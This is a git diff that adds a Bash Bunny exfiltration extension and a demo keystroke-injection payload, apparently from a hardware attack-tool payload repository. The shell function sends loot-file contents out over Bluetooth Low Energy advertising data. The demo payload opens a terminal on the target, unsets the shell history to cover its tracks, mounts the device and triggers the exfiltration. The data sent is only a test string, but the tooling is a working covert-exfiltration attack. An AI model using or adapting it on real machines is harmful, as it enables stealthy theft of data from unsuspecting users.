diff --git a/payloads/extensions/ble_exfil.sh b/payloads/extensions/ble_exfil.sh new file mode 100644 index 00000000..47f5ce3d --- /dev/null +++ b/payloads/extensions/ble_exfil.sh @@ -0,0 +1,16 @@ +#!/bin/bash +# +# BLE_EXFIL v1 by @drapl0n +# Exfiltrate data(25 bytes) stored in "/loot/ble_exfil.txt" via BLE. +# Usage: BLE_EXFIL + +function BLE_EXFIL() { + stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost + stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost + sleep 1 + text=$(cat /root/udisk/loot/ble_exfil.txt) + exfil=${text:0:25} + echo -n -e "AT+ADVDAT=$exfil" > /dev/ttyS1 +} + +export -f BLE_EXFIL diff --git a/payloads/library/exfiltration/BLE_EXFIL_DEMO/payload.txt b/payloads/library/exfiltration/BLE_EXFIL_DEMO/payload.txt new file mode 100644 index 00000000..35e9dcac --- /dev/null +++ b/payloads/library/exfiltration/BLE_EXFIL_DEMO/payload.txt @@ -0,0 +1,47 @@ +# Description: Demonstration of BLE_EXFIL extension. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Exfiltration +# Target: Unix-like operating systems. +# Attackmodes: HID, Storage + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [Advertising Data] +Q STRING echo BashBunnyRocks \> '$mntt'/loot/ble_exfil.txt +Q ENTER +BLE_EXFIL +Q DELAY 200 +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH